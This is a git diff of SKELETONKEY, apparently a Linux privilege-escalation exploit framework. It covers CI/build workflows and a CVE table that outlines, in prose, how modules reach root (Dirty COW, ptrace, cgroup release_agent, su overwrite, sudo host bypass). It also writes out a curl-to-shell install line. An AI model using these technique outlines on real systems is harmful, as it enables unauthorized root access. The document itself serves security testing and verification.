Compare commits
56 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| 4d0a0e2443 | |||
| 050731396d | |||
| ada56b0db3 | |||
| 28a9289989 | |||
| e457b22c1f | |||
| 60579f1602 | |||
| dd5f4fa06d | |||
| 3d9db6b93e | |||
| bd63aabd64 | |||
| 1663df69d1 | |||
| 6c148e276a | |||
| 35c33df16f | |||
| 25c2afc3e9 | |||
| 13fbbce618 | |||
| bb5ca48fe1 | |||
| 4454d8148e | |||
| fa0228df9b | |||
| d52fcd5512 | |||
| 66cca39a55 | |||
| 92396a0d6d | |||
| 8ac041a295 | |||
| 270ddc1681 | |||
| 7f4a6e1c7c | |||
| f41eed834e | |||
| d84b3b0033 | |||
| 4af82b82d9 | |||
| c12ee6055c | |||
| 3e9f373751 | |||
| 24c2821ae2 | |||
| 5d48a7b0b5 | |||
| 18fa3025f2 | |||
| 5b79b23ff2 | |||
| 264759832a | |||
| 6e0f811a2c | |||
| 312e7d89b5 | |||
| 2c131df1bf | |||
| 48d5f15828 | |||
| 67d091dd37 | |||
| f792a3c4a6 | |||
| 2c4cde1031 | |||
| 5071ad4ba9 | |||
| 554a58757e | |||
| 8ab49f36f6 | |||
| ee3e7dd9a7 | |||
| 39ce4dff09 | |||
| e4a600fef2 | |||
| 60d22eb4f6 | |||
| e2fef41667 | |||
| 8243817f7e | |||
| 8de46e212e | |||
| df4b879527 | |||
| 6b6d638d98 | |||
| 8938a74d04 | |||
| 027fc1f9dd | |||
| 72ac6f8774 | |||
| fde053a27e |
+24
@@ -0,0 +1,24 @@
|
||||
# clang-tidy configuration for SKELETONKEY core/.
|
||||
#
|
||||
# Defaults are mostly fine. Two checks intentionally disabled:
|
||||
#
|
||||
# clang-analyzer-security.insecureAPI.DeprecatedOrUnsafeBufferHandling
|
||||
# This check flags snprintf, fprintf, memset, strncpy, etc. as
|
||||
# "insecure" and recommends the C11 Annex K _s variants
|
||||
# (snprintf_s, memset_s, ...). Annex K is fundamentally not
|
||||
# portable — glibc, musl, and MSVC all either don't implement
|
||||
# it or implement it incompletely. snprintf is already bounds-
|
||||
# checked; this is noise rather than signal in real C code.
|
||||
# The Linux kernel uses these functions everywhere; so does
|
||||
# every C project. Disabling.
|
||||
#
|
||||
# bugprone-easily-swappable-parameters
|
||||
# Flags every function taking 2+ same-typed parameters. False-
|
||||
# positive heavy on small utility functions like
|
||||
# skeletonkey_host_kernel_at_least(host, major, minor, patch)
|
||||
# where the parameter order is documented and obvious. Not
|
||||
# worth the noise.
|
||||
|
||||
Checks: >
|
||||
-clang-analyzer-security.insecureAPI.DeprecatedOrUnsafeBufferHandling,
|
||||
-bugprone-easily-swappable-parameters
|
||||
@@ -5,6 +5,15 @@ on:
|
||||
branches: [main]
|
||||
pull_request:
|
||||
branches: [main]
|
||||
schedule:
|
||||
# Weekly drift check against CISA KEV + Debian security tracker.
|
||||
# Runs Monday 06:00 UTC; reports any new backports / KEV additions
|
||||
# that haven't propagated into the corpus yet.
|
||||
- cron: '0 6 * * 1'
|
||||
workflow_dispatch:
|
||||
# Lets us trigger the drift-check job on demand (e.g. after a
|
||||
# metadata refresh) without waiting for the weekly cron. The
|
||||
# drift-check job's `if:` gate honors this trigger.
|
||||
|
||||
jobs:
|
||||
build:
|
||||
@@ -16,7 +25,7 @@ jobs:
|
||||
flavor: [default, debug]
|
||||
name: build (${{ matrix.cc }} / ${{ matrix.flavor }})
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: install build deps
|
||||
run: |
|
||||
@@ -67,6 +76,91 @@ jobs:
|
||||
sudo chown -R skeletonkeyci .
|
||||
sudo -u skeletonkeyci make test
|
||||
|
||||
# ASan + UBSan run. clang-only; catches memory bugs and undefined
|
||||
# behaviour the regular test suite can't see. Runs on the same 88
|
||||
# tests as the main matrix; failures here are real bugs even if
|
||||
# the assertions all pass.
|
||||
sanitizers:
|
||||
runs-on: ubuntu-latest
|
||||
name: sanitizers (ASan + UBSan)
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: install deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
build-essential clang make linux-libc-dev \
|
||||
libglib2.0-dev pkg-config sudo
|
||||
- name: build + test under sanitizers
|
||||
env:
|
||||
CC: clang
|
||||
# AddressSanitizer + UndefinedBehaviorSanitizer. -O1 keeps
|
||||
# backtraces meaningful while still exercising optimizer paths;
|
||||
# -fno-omit-frame-pointer for ASan stack traces; halt-on-error
|
||||
# so the first finding fails CI loudly rather than scrolling
|
||||
# past silently.
|
||||
CFLAGS: "-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined -fno-sanitize-recover=all -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64"
|
||||
LDFLAGS: "-fsanitize=address,undefined"
|
||||
run: |
|
||||
sudo useradd -m -s /bin/bash skeletonkeyci 2>/dev/null || true
|
||||
sudo chown -R skeletonkeyci .
|
||||
sudo -u skeletonkeyci -E make test
|
||||
|
||||
# clang-tidy lint. Runs against core/ + skeletonkey.c (the files we
|
||||
# control most tightly). Non-blocking for now — sets a baseline we
|
||||
# can tighten incrementally. Module sources are excluded; many
|
||||
# bundle published PoC code that we keep close to upstream style.
|
||||
clang-tidy:
|
||||
runs-on: ubuntu-latest
|
||||
name: clang-tidy
|
||||
continue-on-error: true
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: install deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
sudo apt-get install -y --no-install-recommends \
|
||||
clang clang-tidy linux-libc-dev libglib2.0-dev pkg-config
|
||||
- name: lint core + dispatcher
|
||||
run: |
|
||||
clang-tidy core/*.c skeletonkey.c \
|
||||
--warnings-as-errors='' \
|
||||
-- -Icore -Imodules/copy_fail_family/src \
|
||||
-D_GNU_SOURCE -D_FILE_OFFSET_BITS=64
|
||||
|
||||
# Drift check — runs the two refresh scripts in --check / drift mode
|
||||
# against authoritative federal sources. Catches:
|
||||
# - New CISA KEV additions touching CVEs in our corpus
|
||||
# - New Debian security-tracker backport-version updates that move
|
||||
# the kernel_patched_from table thresholds
|
||||
# Network-required (fetches kev.csv + Debian tracker JSON). Runs on
|
||||
# the weekly cron + on-demand via workflow_dispatch. NOT gated on
|
||||
# PRs because random PRs shouldn't fail on upstream feed drift.
|
||||
drift-check:
|
||||
if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
|
||||
runs-on: ubuntu-latest
|
||||
name: drift-check (CISA KEV + Debian tracker)
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: cve_metadata drift
|
||||
run: |
|
||||
# Exits 1 if the federal data has drifted from our committed
|
||||
# JSON. Open a PR with `tools/refresh-cve-metadata.py` output
|
||||
# if this fires.
|
||||
python3 tools/refresh-cve-metadata.py --check || {
|
||||
echo "::warning::cve_metadata drift detected — run tools/refresh-cve-metadata.py and commit the result"
|
||||
exit 1
|
||||
}
|
||||
- name: kernel_range drift
|
||||
run: |
|
||||
# Exits 1 if any module's kernel_patched_from table is
|
||||
# MISSING or TOO_TIGHT versus Debian's tracker. INFO-only
|
||||
# findings are fine.
|
||||
python3 tools/refresh-kernel-ranges.py || {
|
||||
echo "::warning::kernel_range drift detected — see tools/refresh-kernel-ranges.py output"
|
||||
exit 1
|
||||
}
|
||||
|
||||
# Static build job: ensures the project links cleanly when -static is
|
||||
# requested. Useful for deployment to minimal containers / fleet scans
|
||||
# where shared-libc availability isn't guaranteed.
|
||||
@@ -74,7 +168,7 @@ jobs:
|
||||
runs-on: ubuntu-latest
|
||||
name: static-build
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
- name: install build deps
|
||||
run: |
|
||||
sudo apt-get update -qq
|
||||
|
||||
+110
-31
@@ -32,7 +32,7 @@ jobs:
|
||||
name: build (${{ matrix.target }})
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- name: install build deps
|
||||
run: |
|
||||
@@ -52,20 +52,98 @@ jobs:
|
||||
mv skeletonkey skeletonkey-${{ matrix.target }}
|
||||
sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256
|
||||
|
||||
- uses: actions/upload-artifact@v4
|
||||
- uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: skeletonkey-${{ matrix.target }}
|
||||
path: |
|
||||
skeletonkey-${{ matrix.target }}
|
||||
skeletonkey-${{ matrix.target }}.sha256
|
||||
|
||||
# Portable static-musl x86_64 build. Runs in Alpine (native musl +
|
||||
# linux-headers) so the resulting binary works on every libc —
|
||||
# glibc 2.x of any version, musl, etc. This is what install.sh
|
||||
# fetches by default for x86_64 hosts (the dynamic binary above
|
||||
# hits a glibc-version ceiling on older distros like Debian 12 /
|
||||
# RHEL 8).
|
||||
build-static-x86_64:
|
||||
runs-on: ubuntu-latest
|
||||
name: build (x86_64-static / musl)
|
||||
container:
|
||||
image: alpine:latest
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: install build deps
|
||||
run: apk add --no-cache build-base linux-headers tar
|
||||
- name: build static (musl)
|
||||
run: |
|
||||
# MSG_COPY is a Linux-only SysV msg flag that glibc defines
|
||||
# but musl does not — netfilter_xtcompat needs it. Define
|
||||
# the kernel constant explicitly. (Kernel: include/uapi/
|
||||
# linux/msg.h: MSG_COPY = 040000)
|
||||
make CFLAGS="-O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -DMSG_COPY=040000" LDFLAGS=-static
|
||||
file skeletonkey
|
||||
ls -la skeletonkey
|
||||
- name: rename + checksum
|
||||
run: |
|
||||
mv skeletonkey skeletonkey-x86_64-static
|
||||
sha256sum skeletonkey-x86_64-static > skeletonkey-x86_64-static.sha256
|
||||
- uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: skeletonkey-x86_64-static
|
||||
path: |
|
||||
skeletonkey-x86_64-static
|
||||
skeletonkey-x86_64-static.sha256
|
||||
|
||||
# Portable static-musl arm64 build. Cross-compile from the x86_64
|
||||
# runner using dockcross/linux-arm64-musl — a Debian-based cross
|
||||
# toolchain image that ships aarch64-linux-musl-gcc with a clean
|
||||
# musl sysroot + Linux uapi headers. Avoids the two prior failure
|
||||
# modes:
|
||||
# (1) Alpine on arm64: actions/checkout JS bundle requires glibc-
|
||||
# compatible Node, which GitHub doesn't inject on arm64.
|
||||
# (2) musl-tools on ubuntu-24.04-arm: musl-gcc + Ubuntu's
|
||||
# /usr/include collide (glibc stdio.h vs musl stdio.h →
|
||||
# __gnuc_va_list / __time64_t conflicts).
|
||||
# dockcross runs glibc Debian (so checkout works), invokes a
|
||||
# bundled aarch64-linux-musl-gcc whose sysroot has its own
|
||||
# consistent musl + linux-uapi tree.
|
||||
build-static-arm64:
|
||||
runs-on: ubuntu-latest
|
||||
name: build (arm64-static / musl)
|
||||
steps:
|
||||
- uses: actions/checkout@v6
|
||||
- name: run dockcross arm64-musl build
|
||||
run: |
|
||||
# Fetch the dockcross wrapper script (handles UID/GID,
|
||||
# volume mounts, env passing). Image already has
|
||||
# aarch64-linux-musl-gcc on PATH.
|
||||
docker run --rm dockcross/linux-arm64-musl > ./dockcross
|
||||
chmod +x ./dockcross
|
||||
./dockcross bash -c '
|
||||
make CC=aarch64-linux-musl-gcc \
|
||||
CFLAGS="-O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -DMSG_COPY=040000" \
|
||||
LDFLAGS=-static
|
||||
'
|
||||
file skeletonkey
|
||||
ls -la skeletonkey
|
||||
- name: rename + checksum
|
||||
run: |
|
||||
mv skeletonkey skeletonkey-arm64-static
|
||||
sha256sum skeletonkey-arm64-static > skeletonkey-arm64-static.sha256
|
||||
- uses: actions/upload-artifact@v7
|
||||
with:
|
||||
name: skeletonkey-arm64-static
|
||||
path: |
|
||||
skeletonkey-arm64-static
|
||||
skeletonkey-arm64-static.sha256
|
||||
|
||||
release:
|
||||
needs: build
|
||||
needs: [build, build-static-x86_64, build-static-arm64]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v4
|
||||
- uses: actions/checkout@v6
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
- uses: actions/download-artifact@v8
|
||||
with:
|
||||
path: dist
|
||||
|
||||
@@ -79,34 +157,31 @@ jobs:
|
||||
run: |
|
||||
tag="${GITHUB_REF#refs/tags/}"
|
||||
echo "tag=$tag" >> "$GITHUB_OUTPUT"
|
||||
# Pull the latest entry from CVES.md / ROADMAP.md for the body
|
||||
{
|
||||
echo "## SKELETONKEY $tag"
|
||||
echo
|
||||
echo "Pre-built binaries for x86_64 and arm64. Checksums alongside."
|
||||
echo
|
||||
echo "### Install"
|
||||
echo
|
||||
echo '```bash'
|
||||
echo "curl -sSLfo /tmp/skeletonkey https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/skeletonkey-\$(uname -m | sed s/aarch64/arm64/)"
|
||||
echo "chmod +x /tmp/skeletonkey && sudo mv /tmp/skeletonkey /usr/local/bin/skeletonkey"
|
||||
echo "skeletonkey --version"
|
||||
echo '```'
|
||||
echo
|
||||
echo "Or one-shot via the install script:"
|
||||
echo
|
||||
echo '```bash'
|
||||
echo "curl -sSL https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/install.sh | sh"
|
||||
echo '```'
|
||||
echo
|
||||
echo "### What's in this release"
|
||||
echo
|
||||
echo "See [\`CVES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/CVES.md) for the curated CVE inventory."
|
||||
echo "See [\`ROADMAP.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/ROADMAP.md) for phase progress."
|
||||
} > release-notes.md
|
||||
# Prefer the hand-written release notes if present (richer
|
||||
# per-release context); otherwise fall back to an auto-generated
|
||||
# stub with install instructions + pointers to docs.
|
||||
if [ -f docs/RELEASE_NOTES.md ]; then
|
||||
cp docs/RELEASE_NOTES.md release-notes.md
|
||||
else
|
||||
{
|
||||
echo "## SKELETONKEY $tag"
|
||||
echo
|
||||
echo "Pre-built binaries for x86_64 (dynamic + static-musl) and arm64."
|
||||
echo "Checksums alongside each artifact."
|
||||
echo
|
||||
echo "### Install"
|
||||
echo '```bash'
|
||||
echo "curl -sSL https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/install.sh | sh"
|
||||
echo "skeletonkey --version"
|
||||
echo '```'
|
||||
echo
|
||||
echo "See [\`CVES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/CVES.md) for the CVE inventory."
|
||||
echo "See [\`docs/RELEASE_NOTES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/docs/RELEASE_NOTES.md) for per-release detail."
|
||||
} > release-notes.md
|
||||
fi
|
||||
|
||||
- name: publish release
|
||||
uses: softprops/action-gh-release@v2
|
||||
uses: softprops/action-gh-release@v3
|
||||
with:
|
||||
tag_name: ${{ steps.notes.outputs.tag }}
|
||||
name: SKELETONKEY ${{ steps.notes.outputs.tag }}
|
||||
@@ -114,7 +189,11 @@ jobs:
|
||||
files: |
|
||||
skeletonkey-x86_64
|
||||
skeletonkey-x86_64.sha256
|
||||
skeletonkey-x86_64-static
|
||||
skeletonkey-x86_64-static.sha256
|
||||
skeletonkey-arm64
|
||||
skeletonkey-arm64.sha256
|
||||
skeletonkey-arm64-static
|
||||
skeletonkey-arm64-static.sha256
|
||||
install.sh
|
||||
fail_on_unmatched_files: false # install.sh may not exist at first tag
|
||||
|
||||
@@ -8,6 +8,15 @@ modules/*/dirtyfail
|
||||
modules/*/skeletonkey
|
||||
/skeletonkey
|
||||
/skeletonkey-test
|
||||
/skeletonkey-test-kr
|
||||
/skeletonkey-x86_64
|
||||
/skeletonkey-x86_64-static
|
||||
/skeletonkey-x86_64.sha256
|
||||
/skeletonkey-x86_64-static.sha256
|
||||
/skeletonkey-arm64
|
||||
/skeletonkey-arm64.sha256
|
||||
.vscode/
|
||||
.idea/
|
||||
*.swp
|
||||
/tools/verify-vm/logs/
|
||||
/tools/verify-vm/.vagrant/
|
||||
|
||||
@@ -23,16 +23,17 @@ Status legend:
|
||||
- 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
|
||||
historical reference only
|
||||
|
||||
**Counts:** 31 modules total — 28 verified (🟢 14 · 🟡 14) plus 3
|
||||
ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot` —
|
||||
see note below). 🔵 0 · ⚪ 0 planned-with-stub · 🔴 0. (One ⚪ row
|
||||
below — CVE-2026-31402 — is a *candidate* with no module, not counted
|
||||
as a module.)
|
||||
**Counts:** 43 modules total covering 38 CVEs; **28 of 38 CVEs
|
||||
verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0
|
||||
planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
|
||||
*candidate* with no module, not counted as a module.)
|
||||
|
||||
> **Note on `dirtydecrypt` / `fragnesia` / `pack2theroot`:** all three
|
||||
> are ported from public PoCs. The **exploit bodies** are not yet
|
||||
> VM-verified end-to-end, so they're listed 🟡 but excluded from the
|
||||
> 28-module verified corpus.
|
||||
> **Note on unverified rows:** `vmwgfx` / `dirty_cow` /
|
||||
> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` /
|
||||
> `ptrace_pidfd` / `sudo_host` / `cifswitch` / `nft_catchall` are blocked by their target environment (VMware-only,
|
||||
> kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition
|
||||
> libs) or are brand-new this cycle, not by missing code. See
|
||||
> [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
|
||||
>
|
||||
> All three now have **pinned fix commits and version-based
|
||||
> `detect()`**:
|
||||
@@ -74,7 +75,7 @@ root on a host can upstream their kernel's offsets via PR.
|
||||
| CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
|
||||
| CVE-2016-5195 | Dirty COW — COW race via /proc/self/mem + madvise | LPE (page-cache write into root-owned files) | mainline 4.9 (Oct 2016) | `dirty_cow` | 🟢 | Full detect + exploit + cleanup. **Old-systems coverage** — affects RHEL 6/7 (3.10 baseline), Ubuntu 14.04 (3.13), Ubuntu 16.04 (4.4), embedded boxes, IoT. Phil-Oester-style two-thread race: writer thread via `/proc/self/mem` vs madvise(MADV_DONTNEED) thread. Targets /etc/passwd UID flip + `su`. Ships auditd watch on /proc/self/mem + sigma rule for non-root mem-open. Pthread-linked. |
|
||||
| CVE-2019-13272 | PTRACE_TRACEME → setuid execve → cred escalation | LPE (kernel ptrace race; no exotic preconditions) | mainline 5.1.17 (Jun 2019) | `ptrace_traceme` | 🟢 | Full detect + exploit. Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17. jannh-style: fork → child `PTRACE_TRACEME` → child sleep+attach → parent `execve` setuid bin (pkexec/su/passwd auto-selected) → child wins stale-ptrace_link → POKETEXT x86_64 shellcode → root sh. x86_64-only; ARM/other return PRECOND_FAIL cleanly. |
|
||||
| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. |
|
||||
| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. **Added to CISA KEV 2026-06-02 — now confirmed exploited in the wild.** |
|
||||
| CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
|
||||
| CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
|
||||
| CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
|
||||
@@ -92,6 +93,10 @@ root on a host can upstream their kernel's offsets via PR.
|
||||
| CVE-2026-31635 | DirtyDecrypt / DirtyCBC — rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | mainline Linux 7.0 (commit `a2567217ade970ecc458144b6be469bc015b23e5`) | `dirtydecrypt` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. detect() is version-pinned: kernels < 7.0 predate the vulnerable rxgk code (Debian: `<not-affected, vulnerable code not present>` for 5.10/6.1/6.12); kernels ≥ 7.0 have the fix. `--active` probe fires the primitive at a `/tmp` sentinel for empirical override. x86_64. |
|
||||
| CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. |
|
||||
| CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
|
||||
| CVE-2026-46333 | ptrace `__ptrace_may_access` dumpable-race → `pidfd_getfd` credential-fd theft | LPE (steal a root-opened fd / authenticated channel from a process dropping privileges) | mainline 2026-05-14 (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7) | `ptrace_pidfd` | 🟡 | **Qualys TRU disclosure (2026-05-20), exploit not yet VM-verified.** The `__ptrace_may_access` logic flaw leaves a process *dropping* privileges briefly reachable past its `dumpable` boundary; `pidfd_getfd(2)` rides that window. detect() is version-pinned with a predates-gate at `pidfd_getfd`'s 5.6 introduction. exploit() spawns a setuid victim (chage / pkexec / ssh-keysign), `pidfd_open()`s it and sweeps `pidfd_getfd()` across its descriptor table during the credential-drop window, reporting any uid-0-owned fd captured from a non-root context — honest `EXPLOIT_FAIL` without a euid-0 witness; the target-specific full root-pop is not bundled until VM-verified. Arch-agnostic (descriptor theft, no shellcode). `--mitigate` sets `kernel.yama.ptrace_scope=2`; `--cleanup` reverts it. Credit: Qualys TRU. |
|
||||
| CVE-2025-32462 | sudo `-h`/`--host` policy bypass (Stratascale) | LPE (userspace; abuse a host-restricted sudoers rule for local root) | sudo 1.9.17p1 (2025-06-30) | `sudo_host` | 🟢 | **Stratascale CRU disclosure (Rich Mirch); sibling of `sudo_chwoot`.** sudo's `-h`/`--host` option — meant only to pair with `-l` — was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via `sudo -h <host> <cmd>`. Affects sudo 1.8.8 → 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8; not in KEV. detect() version-gates; exploit() finds an abusable host-restricted rule in readable sudoers (or `SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and pops a root shell only on a uid-0 witness — never fabricates root. Structural (no offsets/race); arch-agnostic. Most relevant to fleet-wide / LDAP / SSSD sudoers. Credit: Rich Mirch / Stratascale. |
|
||||
| CVE-2026-46243 | CIFSwitch — `cifs.spnego` key type trusts userspace-forged authority fields | LPE (coerce root `cifs.upcall` into loading an attacker NSS module) | fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of `3da1fdf4efbc`, mainline 7.1-rc5) | `cifswitch` | 🟡 | **Asim Manizada disclosure (2026-05-28), public PoC; detect() + add_key primitive VM-verified on Ubuntu 24.04 / 6.8.0-117 (QEMU/HVF, 2026-06-08), full chain + patched-kernel discriminator pending.** ~19-year-old logic flaw in `fs/smb/client/cifs_spnego.c`: the `cifs.spnego` key description carries authority-bearing fields (`pid`/`uid`/`creduid`/`upcall_target`) that root `cifs.upcall` trusts as kernel-originating, but userspace can create such keys via `add_key(2)`/`request_key(2)`. With user+mount namespace tricks, an unprivileged user makes `cifs.upcall` load a malicious NSS `.so` as root. CWE-20; not in KEV. Preconditions: `cifs` module + `cifs-utils` (`cifs.upcall`) + `cifs.spnego` request-key rule (override the probe via `SKELETONKEY_CIFS_ASSUME_PRESENT=1/0`). detect() version-gates and PRECOND_FAILs when the cifs userspace path is absent. exploit() fires only the non-destructive primitive — `add_key(2)` of a forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked immediately — and returns honest `EXPLOIT_FAIL` without a euid-0 witness; the namespace+NSS root-pop is not bundled until VM-verified. Structural; arch-agnostic. `--mitigate` blocklists the `cifs` module; `--cleanup` reverts. Credit: Asim Manizada. |
|
||||
| CVE-2026-23111 | nf_tables `nft_map_catchall_activate` abort-path UAF (inverted `!`) | LPE (unprivileged userns + nftables → chain UAF → kernel R/W → root) | fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of `f41c5d1`); 5.10 branch still unfixed | `nft_catchall` | 🟡 | **Public reproduction + analysis by FuzzingLabs; reported via the kernel security process. Reconstructed trigger, not yet VM-verified.** A stray `!` in `nft_map_catchall_activate()` makes the transaction-abort path process *active* catch-all map elements instead of skipping them; a catch-all GOTO element drives a chain's use-count to zero so a following DELCHAIN frees it while still referenced → UAF, escalatable via modprobe_path/selinux_state ROP. CWE-416, CVSS 7.8; not in KEV. One more UAF in the corpus's most-covered subsystem; shipped on the same contract as `nf_tables` (CVE-2024-1086). detect() version-gates (catch-all elems arrived ~5.13) AND requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL` — the per-kernel leak + R/W + ROP root-pop is NOT bundled and the trigger is reconstructed from public analysis, not VM-verified. x86_64. Mitigate: upgrade, or `kernel.unprivileged_userns_clone=0`. Credit: FuzzingLabs (public repro) + upstream fix `f41c5d1`. |
|
||||
|
||||
## Operations supported per module
|
||||
|
||||
